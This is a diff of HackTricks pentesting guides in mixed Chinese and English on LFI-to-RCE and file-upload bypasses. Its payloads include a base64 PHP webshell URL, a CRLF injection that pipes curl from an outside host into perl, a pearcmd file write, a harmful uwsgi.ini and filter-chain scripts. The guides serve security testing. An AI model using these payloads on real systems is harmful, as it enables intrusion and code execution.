[this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 文章所示,PHP base64 filter 会忽略非 base64 字符。你可以利用这一点绕过文件扩展名检查:如果你提供以 ".php" 结尾的 base64,它会忽略“.”并将“php”追加到 base64。下面是一个示例 payload: +如 [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 文章所示,PHP base64 filter 只是忽略非-base64。你可以使用该方法绕过文件扩展名检查:如果你提供以 ".php" 结尾的 base64,它会忽略 "." 并将 "php" 附加到 base64。下面是一个示例 payload: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php NOTE: the payload is "" ``` -### 通过 php filters(无需文件) +### Via php filters (no file needed) -This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 说明你可以使用 **php filters to generate arbitrary content** 作为输出。这基本上意味着你可以为 include **generate arbitrary php code**,而且**无需将其写入**文件。 +This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file. {{#ref}} lfi2rce-via-php-filters.md {{#endref}} -### 通过 segmentation fault +### Via segmentation fault -**Upload** 一个文件,该文件将作为 **temporary** 存储在 `/tmp`,然后在 **same request** 触发一个 **segmentation fault**,这样 **temporary file won't be deleted**,你就可以搜索它。 +**Upload** a file that will be stored as **temporary** in `/tmp`, then in the **same request,** trigger a **segmentation fault**, and then the **temporary file won't be deleted** and you can search for it. {{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}} -### 通过 Nginx temp file storage +### Via Nginx temp file storage -如果你发现了 **Local File Inclusion** 并且 **Nginx** 在 PHP 前端运行,你可能能够使用以下技术获得 **RCE**: +If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique: {{#ref}} lfi2rce-via-nginx-temp-files.md {{#endref}} -### 通过 PHP_SESSION_UPLOAD_PROGRESS +### Via PHP_SESSION_UPLOAD_PROGRESS -如果你发现了 **Local File Inclusion**,即使你**don't have a session** 且 `session.auto_start` 为 `Off`。如果你在 **multipart POST** 数据中提供 **`PHP_SESSION_UPLOAD_PROGRESS`**,PHP 会为你**enable the session**。你可以滥用此来获得 **RCE**: +If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off`. If you provide the **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, PHP will **enable the session for you**. You could abuse this to get RCE: {{#ref}} via-php_session_upload_progress.md {{#endref}} -### 通过 Windows 上的临时文件上传 +### Via temp file uploads in Windows -如果你发现 **Local File Inclusion** 且服务器运行在 **Windows**,你可能获得 **RCE**: +If you found a **Local File Inclusion** and and the server is running in **Windows** you might get RCE: {{#ref}} lfi2rce-via-temp-file-uploads.md {{#endref}} -### 通过 `pearcmd.php` + URL args +### Via `pearcmd.php` + URL args -正如 [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp) 所述,脚本 `/usr/local/lib/phppearcmd.php` 在 php docker images 中默认存在。此外,可以通过 URL 向该脚本传递参数,因为指出如果 URL param 没有 `=`,它应被用作 argument。另见 [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) 和 [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)。 +As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). The following request create a file in `/tmp/hello.php` with the content ``: ```bash GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1 ``` -以下示範如何濫用 CRLF vuln 以獲得 RCE (來自 [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): +下面示例滥用 CRLF vuln 以获取 RCE(来自 [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a @@ -630,8 +630,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php ``` ### 通过 phpinfo() (file_uploads = on) -如果你发现了一个 **Local File Inclusion** 并且有一个暴露 **phpinfo()** 且 file_uploads = on 的文件,你可以获得 RCE: - +如果你发现了一个 **Local File Inclusion** 并且有一个暴露 **phpinfo()** 且 file_uploads = on 的文件,你可以获得 RCE: {{#ref}} lfi2rce-via-phpinfo.md @@ -639,8 +638,7 @@ lfi2rce-via-phpinfo.md ### 通过 compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure -如果你发现了一个 **Local File Inclusion** 并且你 **can exfiltrate the path** of the temp file,但 **server** 正在 **checking** 是否 **file to be included has PHP marks**,你可以尝试用这个 **Race Condition** 来 **bypass that check**: - +如果你发现了 **Local File Inclusion** 并且你**可以 exfiltrate the path** 临时文件的路径,但 **server** 正在 **checking** 要包含的文件是否有 PHP 标记,你可以尝试用这个 **Race Condition** 来 **bypass that check**: {{#ref}} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md @@ -648,8 +646,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md ### 通过 eternal waiting + bruteforce -如果你可以滥用 LFI 来 **upload temporary files** 并使 **server** **hang** PHP 执行,你可以随后 **brute force filenames during hours** 来找到临时文件: - +如果你能滥用 LFI 来**upload temporary files** 并使服务器**hang** PHP 执行,你就可以在数小时内**brute force filenames** 来找到临时文件: {{#ref}} lfi2rce-via-eternal-waiting.md @@ -657,14 +654,14 @@ lfi2rce-via-eternal-waiting.md ### 导致 Fatal Error -如果你包含以下任意文件 `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`。(你需要包含相同的文件 2 次来触发该错误)。 +如果你包含任何以下文件 `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`。(你需要包含同一个文件两次以触发该错误)。 -**我不知道这有何用,但它可能有用。**\ +**我不知道这有什么用,但可能有用。**\ _即使你导致了 PHP Fatal Error,上传的 PHP 临时文件也会被删除。_
-## 参考资料 +## References - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md index 75c89dbcf..24998d1c4 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md @@ -5,34 +5,32 @@ ## 简介 -This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)解释你可以使用 **php filters to generate arbitrary content** 作为输出。基本上这意味着你可以为 include 生成任意的 **php code**,而无需将其写入文件。 +[**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 解释了你可以使用 **php filters 来生成任意内容** 作为输出。基本上这意味着你可以为 include **生成任意 php 代码**,而**无需将其写入**文件。 -脚本的目标是**在文件的开头生成一个 Base64 字符串**,该字符串最终会被**解码**,从而提供希望的负载,该负载将被 `include` **解释执行**。 +实现该脚本目标的基础是: -实现这一点的基础是: +- `convert.iconv.UTF8.CSISO2022KR` 始终会在字符串前面添加 `\x1b$)C` +- `convert.base64-decode` 非常宽容,它基本上会忽略任何不是有效 base64 的字符。如果遇到意外的 "=" 会产生一些问题,但可以使用 `convert.iconv.UTF8.UTF7` filter 将其移除。 -- `convert.iconv.UTF8.CSISO2022KR` 总是会在字符串前加上 `\x1b$)C` -- `convert.base64-decode` 非常容错,它基本上会忽略任何不是有效 base64 的字符。如果遇到意外的 "=" 会有一些问题,但这些可以通过 `convert.iconv.UTF8.UTF7` 过滤器移除。 +生成任意内容的循环步骤是: -生成任意内容的循环如下: - -1. 如上所述,在我们的字符串前添加 `\x1b$)C` -2. 应用一系列 iconv 转换,使我们最初的 base64 保持不变,并将刚刚添加的部分转换为一个字符串,其中唯一有效的 base64 字符就是我们 base64 编码的 php 代码的下一部分 +1. 如上所述,将 `\x1b$)C` 预置到我们的字符串前面 +2. 应用一系列 iconv 转换,使我们的初始 base64 保持不变,并将刚刚预置的部分转换成某个字符串,使得该字符串中唯一的有效 base64 字符就是我们 base64 编码的下一段 php 代码 3. 对字符串进行 base64-decode 然后 base64-encode,这会移除中间的任何垃圾字符 -4. 如果我们要构造的 base64 还没完成,则返回第 1 步 -5. base64-decode 来得到我们的 php 代码 +4. 如果我们想构造的 base64 尚未完成,则回到第 1 步 +5. base64-decode 以得到我们的 php 代码 > [!WARNING] -> **Includes** 通常会做诸如**在文件末尾附加 ".php"**之类的操作,这可能会使利用变得困难,因为你需要找到一个 .php 文件,其内容不会破坏该利用……或者你**可以直接使用 `php://temp` 作为资源**,因为它可以**在名称中附加任意内容**(例如 +".php"),并且仍然允许利用生效! +> **Includes** 通常会做诸如在文件末尾**追加 ".php"**的操作,这可能会使利用变得困难,因为你需要找到一个内容不会破坏 exploit 的 .php 文件……或者你**可以直接使用 `php://temp` 作为 resource**,因为它在名称上**可以附加任意内容**(例如 lie +".php"),仍然可以让 exploit 生效! ## 如何向生成的数据添加后缀 -[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) 说明了你如何仍然滥用 PHP filters 来向结果字符串添加后缀。当你需要输出具有特定格式时(例如 json 或添加一些 PNG magic bytes),这非常有用。 +[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) 说明了如何继续滥用 PHP filters 向生成的字符串添加后缀。若你需要输出具有特定格式(例如 json,或添加一些 PNG magic bytes),这非常有用。 ## 自动化工具 - https://github.com/synacktiv/php_filter_chain_generator -- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(可以添加后缀)** +- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(可以添加后缀)** ## 完整脚本 ```python @@ -96,7 +94,7 @@ print(r.text) ``` ### Improvements -之前的脚本仅限于该 payload 所需的 base64 字符。因此,我编写了自己的脚本来 **bruteforce 所有 base64 字符**: +之前的脚本仅限于该 payload 所需的 base64 字符。因此,我创建了自己的脚本来 **bruteforce all the base64 characters**: ```php conversions = { '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', @@ -165,7 +163,7 @@ conversions = { '=': '' } ``` -下面是用于获取可生成每个 b64 字符的**脚本**: +下面是用于获取能生成每个 b64 字母的编码的 **script**: ```php ``` -## 更多参考资料 +## 更多参考 - [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html) - [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 8b748bffe..a22f14079 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -2,12 +2,12 @@ {{#include ../../banners/hacktricks-training.md}} -## 文件上传 常规方法 +## 文件上传通用方法 其他有用的扩展名: -- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ -- **在 PHPv8 中工作**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_ +- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, .phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ +- **Working in PHPv8**: _.php_, _.php4_, .php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_ - **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_ - **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_ - **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_ @@ -17,11 +17,11 @@ ### 绕过文件扩展名检查 -1. 如果适用,**检查**之前列出的**扩展名**。也要用一些**大小写混合**来测试它们: _pHp, .pHP5, .PhAr ..._ -2. _尝试在执行扩展之前添加一个有效扩展(也可使用前面提到的扩展):_ +1. 如果适用,**检查**前面的**扩展名**。也用一些**大写字母**测试它们:_pHp, .pHP5, .PhAr ..._ +2. _测试**在可执行扩展之前添加一个合法扩展**(也可以使用前面列出的扩展):_ - _file.png.php_ - _file.png.Php5_ -3. 尝试在结尾添加**特殊字符**。可以使用 Burp 去**暴力测试**所有的 **ascii** 和 **Unicode** 字符。(_注意:你也可以尝试使用之前提到的那些**扩展名**_) +3. 尝试在末尾添加**特殊字符**。你可以用 Burp 对所有 **ascii** 和 **Unicode** 字符进行**暴力测试**。(_注意你也可以尝试使用**之前**提到的**扩展名**_) - _file.php%20_ - _file.php%0a_ - _file.php%00_ @@ -31,7 +31,7 @@ - _file._ - _file.php...._ - _file.pHp5...._ -4. 尝试通过**欺骗服务器端的扩展名解析器**来绕过防护,例如**双写扩展**或在扩展之间**添加垃圾数据(null 字节)**。_你也可以使用之前列出的扩展名来构造更好的 payload。_ +4. 试图通过**欺骗服务器端的扩展解析器**来绕过防护,使用例如**双重**扩展或在扩展之间加入**垃圾数据**(**null** 字节)的技术。_你也可以使用**之前的扩展**来准备更好的 payload。_ - _file.png.php_ - _file.png.pHp5_ - _file.php#.png_ @@ -40,13 +40,13 @@ - _file.php%0a.png_ - _file.php%0d%0a.png_ - _file.phpJunk123png_ -5. 为前面的检查**再添加一层扩展**: +5. 在前面的检查中**再添加一层扩展**: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. 尝试把**可执行扩展放在有效扩展之前**并希望服务器配置错误。 (useful to exploit Apache misconfigurations where anything with extension** _**.php**_**, but** not necessarily ending in .php** will execute code): +6. 尝试把**可执行扩展放在合法扩展之前**,希望服务器配置错误(在 Apache 的误配置中很有用:任何带有扩展**.php** 的文件,不一定以 .php 结尾,也可能执行代码): - _ex: file.php.png_ -7. 在 **Windows** 上使用 **NTFS alternate data stream (ADS)**。在这种情况下,会在被禁止的扩展之后和允许的扩展之前插入一个冒号字符 ":"。结果会在服务器上创建一个带有被禁止扩展的**空文件**(例如 "file.asax:.jpg")。随后可能通过短文件名等技术对该文件进行编辑。模式 "**::$data**” 也可以用来创建非空文件。因此,在该模式后添加一个点字符也可能有助于绕过进一步的限制(例如 "file.asp::$data.") -8. 尝试突破文件名长度限制。有效扩展被截断,恶意的 PHP 得以保留。 AAA<--SNIP-->AAA.php +7. 在 **Windows** 中使用 **NTFS alternate data stream (ADS)**。在这种情况下,会在被禁止的扩展之后、允许的扩展之前插入一个冒号 “:”。结果是在服务器上创建一个**带有被禁止扩展但为空的文件**(例如 "file.asax:.jpg")。后来可能通过其他技术编辑此文件,例如使用其短文件名。模式 "**::$data**" 也可以用来创建非空文件。因此,在该模式后加一个点字符也可能有助于绕过更多限制(例如 "file.asp::$data.") +8. 试图突破文件名长度限制。合法扩展被截断,而恶意的 PHP 留下。AAA<--SNIP-->AAA.php ``` # Linux maximum 255 bytes @@ -59,56 +59,56 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA<--SNIP 232 A-->AAA.php.png ``` -### 绕过 Content-Type、Magic Number、压缩与缩放 +### 绕过 Content-Type、magic number、压缩与缩放 -- 通过将请求头的 **Content-Type** 值设置为: _image/png_ , _text/plain , application/octet-stream_ 来绕过 **Content-Type** 检查。 -1. Content-Type **字典**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- 通过在文件开头添加一个真实图片的**字节**(混淆 `file` 命令)来绕过 **magic number** 检查。或者将 web shell 放入图片的**元数据**中:\ +- 通过将 **Content-Type** header 的 **value** 设置为:_image/png_ , _text/plain , application/octet-stream_ 来绕过 **Content-Type** 检查 +1. Content-Type **词表**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) +- 通过在文件开头添加一个真实图片的**字节**(混淆 `file` 命令)来绕过 **magic number** 检查。或者把 shell 放到图片的 **metadata** 中:\ `exiftool -Comment="' >> img.png` -- 如果你的图片在上传后会被压缩(例如使用一些标准的 PHP 库如 [PHP-GD](https://www.php.net/manual/fr/book.image.php)),上面的技术可能不起作用。然而,你可以使用 **PLTE chunk** [**此处定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 将一些文本插入进去,从而**在压缩后仍能存活**。 +- 如果 **对你的图片进行了压缩**(例如使用 PHP 的一些标准库如 PHP-GD),上面的技术可能不奏效。不过,你可以使用 **PLTE chunk** [**这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入能**在压缩后依然存活**的文本。 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- 页面也可能在处理时对图片进行**缩放**,例如使用 PHP-GD 的 `imagecopyresized` 或 `imagecopyresampled`。不过你可以使用 **IDAT chunk** [**此处定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 插入一些文本,从而**在压缩/缩放后仍能存活**。 +- 页面也可能会**调整图片尺寸**,例如使用 PHP-GD 的 `imagecopyresized` 或 `imagecopyresampled`。不过,你可以使用 **IDAT chunk** [**这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入能**在压缩后依然存活**的文本。 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- 另一个让 payload **在图片缩小后仍能存活** 的技术,针对 PHP-GD 的 `thumbnailImage`。你可以使用 **tEXt chunk** [**此处定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入文本,从而**在压缩/缩放后仍能存活**。 +- 另一种让 payload **在图片缩放后仍能存活** 的技术,适用于使用 PHP-GD 的 `thumbnailImage`。你也可以使用 **tEXt chunk** [**这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入能**在压缩后依然存活**的文本。 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) -### 其他需要检查的技巧 +### 其他可检测的技巧 -- 寻找可以**重命名(rename)**已上传文件的漏洞(以改变扩展名)。 -- 寻找 **Local File Inclusion** 漏洞以执行后门。 +- 找到一个可以**重命名**已上传文件(以更改扩展名)的漏洞。 +- 找到一个 **Local File Inclusion** 漏洞来执行后门。 - **可能的信息泄露**: -1. 多次(并且同时)上传**相同名字**的**同一个文件** -2. 上传一个名称与已有**文件**或**目录**相同的文件 -3. 上传名为 `"."`, `".."`, 或 `"…"` 的文件。例如,在 Windows 的 Apache 中,如果应用将上传文件保存到 "/www/uploads/" 目录,名为 "." 的文件会在 "/www/" 目录下创建一个名为 "uploads" 的文件。 -4. 上传一个在 NTFS 中不易删除的文件,例如 **"…:.jpg"**。(Windows) -5. 在 Windows 中上传带有非法字符(如 `|<>*?”`)的文件名。(Windows) -6. 在 Windows 中使用保留(禁止)名称上传文件,例如 CON、PRN、AUX、NUL、COM1 … COM9、LPT1 … LPT9。 -- 也可以尝试上传一个可执行文件(.exe)或一个 .html(更不显眼),以便当受害者意外打开时执行代码。 +1. 同时**多次上传**(且在**同一时间**)**相同名字**的**同一文件** +2. 上传一个与已存在的**文件**或**文件夹**同名的文件 +3. 上传名为 **"."、".." 或 "..."** 的文件。例如,在 Windows 上的 Apache,如果应用把上传文件保存到 "/www/uploads/" 目录,名为 "." 的文件会在 "/www/" 目录下创建一个名为 "uploads" 的文件。 +4. 上传一个可能无法轻易删除的文件,比如在 **NTFS** 中的 **"...:.jpg"**。(Windows) +5. 在 **Windows** 中上传文件名包含无效字符的文件,例如 `|<>*?”`。(Windows) +6. 在 **Windows** 中使用保留(**禁止**)名称上传文件,例如 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9。 +- 也尝试上传一个可执行文件(.exe)或一个看起来不那么可疑的 **.html** 文件,这些在被受害者意外打开时可能会执行代码。 -### 特殊扩展技巧 +### 特殊扩展名技巧 -如果你试图向 **PHP server** 上传文件,查看 **.htaccess** 的技巧以执行代码:[https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -如果你试图向 **ASP server** 上传文件,查看使用 **.config** 文件执行代码的技巧:../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files +如果你尝试向 **PHP server** 上传文件,请查看 [**.htaccess** 技巧以执行代码](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution)。\ +如果你尝试向 **ASP server** 上传文件,请查看 [**.config** 技巧以执行代码](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。 -`.phar` 文件类似于 Java 的 `.jar`,但用于 php,可以**像 php 文件一样被使用**(通过 php 执行,或包含到脚本中...) +`.phar` 文件类似于 Java 的 `.jar`,但用于 php,可以**像 php 文件一样使用**(用 php 执行,或在脚本中 include 它……) -`.inc` 扩展有时用于仅用于**导入(include)**的 php 文件,因此有时可能被允许**执行**。 +`.inc` 扩展有时用于只用于**导入文件**的 php 文件,因此在某些情况下一些人可能允许**此扩展被执行**。 ## **Jetty RCE** -如果你能向 Jetty server 上传一个 XML 文件,你可以获得 [RCE,因为新的 \*.xml 和 \*.war 会被自动处理](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 如下图所示,将 XML 文件上传到 `$JETTY_BASE/webapps/` 并期待 shell! +如果你能向 Jetty server 上传 XML 文件,你可以获得 [RCE 因为 **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 所以,如下图所示,将 XML 文件上传到 `$JETTY_BASE/webapps/` 并期待 shell! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ## **uWSGI RCE** -对于该漏洞的详细研究请参阅原始研究: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。 +有关此漏洞的详细探讨,请查看原始研究: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。 -如果可以修改 `.ini` 配置文件,uWSGI server 上可能会发生远程命令执行(RCE)。uWSGI 配置文件使用特定语法来包含“magic”变量、占位符和操作符。值得注意的是,'@' 操作符(以 `@(filename)` 形式使用)用于包含文件内容。在 uWSGI 支持的多种 scheme 中,"exec" scheme 非常强大,它允许从进程的标准输出读取数据。当 `.ini` 配置文件被处理时,该特性可能被滥用以实现 Remote Command Execution 或 Arbitrary File Write/Read。 +如果能够修改 `.ini` 配置文件,uWSGI 服务器可能会被利用以实现远程命令执行 (RCE)。uWSGI 配置文件使用特定语法来包含“magic”变量、占位符和运算符。值得注意的是,`@` 运算符以 `@(filename)` 的形式用于包含文件内容。在 uWSGI 支持的多种 scheme 中,"exec" scheme 尤其强大,它允许从进程的标准输出读取数据。当 `.ini` 配置文件被处理时,这个特性可以被用于远程命令执行或任意文件写入/读取等恶意用途。 -考虑下面这个有害的 `uwsgi.ini` 文件示例: +考虑下面这个有害的 `uwsgi.ini` 示例,展示了多种 scheme: ```ini [uwsgi] ; read from a symbol @@ -128,19 +128,15 @@ characters = @(call://uwsgi_func) ``` The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes. -payload 的执行发生在配置文件被解析期间。要使配置被激活并解析,uWSGI 进程必须被重启(可能是在崩溃之后或由于 Denial of Service attack),或者该文件必须设置为 auto-reload。如果启用了 auto-reload 功能,检测到更改后会在指定的时间间隔重新加载该文件。 +在解析配置文件期间会执行 payload。要使配置生效并被解析,uWSGI 进程必须要么重启(可能在崩溃后或由于 Denial of Service attack),要么将该文件设置为 auto-reload。如果启用了 auto-reload 功能,检测到更改后会在指定间隔重新加载该文件。 It's crucial to understand the lax nature of uWSGI's configuration file parsing. Specifically, the discussed payload can be inserted into a binary file (such as an image or PDF), further broadening the scope of potential exploitation. -理解 uWSGI 对配置文件解析的宽松特性至关重要。具体来说,上述 payload 可以被插入到二进制文件中(例如 image 或 PDF),从而进一步扩大潜在利用的范围。 +理解 uWSGI 的配置文件解析的宽松性至关重要。具体来说,上述 payload 可以插入到二进制文件(例如图像或 PDF)中,进一步扩大了潜在利用的范围。 -## **wget 文件上传/SSRF 技巧** +## **wget File Upload/SSRF Trick** -In some occasions you may find that a server is using **`wget`** to **download files** and you can **indicate** the **URL**. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, **this check can be bypassed.**\ -The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"\*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"\*232+".php"**. - -在某些情况下,你可能会发现服务器使用 **`wget`** 来 **下载文件**,并且你可以指明 **URL**。在这些情况下,代码可能会检查被下载文件的扩展名是否在白名单内,以确保只会下载允许的文件。然而,**该检查可以被绕过。**\ -在 **linux** 中,**文件名** 的最大长度是 **255**,然而,**wget** 会将文件名截断为 **236** 个字符。你可以 **download a file called "A"\*232+".php"+".gif"**,这个文件名将会 **绕过** 该 **检查**(在此例中 **".gif"** 是一个 **有效** 的扩展),但 `wget` 会 **重命名** 该文件为 **"A"\*232+".php"**。 +在某些情况下,你可能会发现服务器使用 **`wget`** 来 **download files** 并且你可以 **indicate** the **URL**。在这些情形中,代码可能会检查被下载文件的扩展名是否在白名单内,以确保只下载被允许的文件。然而,**this check can be bypassed.**\ 在 **linux** 中 **filename** 的 **maximum** 长度是 **255**,但 **wget** 会将文件名截断为 **236** 个字符。你可以 **download a file called "A"\*232+".php"+".gif"**,这个文件名将 **bypass** 该 **check**(在本例中 **".gif"** 是一个 **valid** 扩展),但 `wget` 会 **rename** 该文件为 **"A"\*232+".php"**。 ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -163,35 +159,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -注意,**另一个选项**(你可能在想的)绕过此检查的方法是让 **HTTP server 重定向到不同的文件**,这样初始 URL 会绕过检查,然后 wget 会下载被重定向后的新名字文件。除非使用了参数 `--trust-server-names`,否则这**不会起作用**,因为 **wget 会使用原始 URL 中指示的文件名来下载被重定向的页面**。 +注意,**另一个选项**(你可能会想到的绕过此检查的方法)是让 **HTTP 服务器重定向到不同的文件**,这样初始 URL 会绕过检查,然后 wget 会下载重定向后的文件并使用新名字。除非 wget 正在使用 **参数** `--trust-server-names`,否则这 **不会奏效**,因为 **wget 会以原始 URL 指示的文件名下载被重定向的页面**。 -## Tools +## 工具 -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) 是一个强大的工具,旨在帮助 Pentesters 和 Bug Hunters 测试 file upload 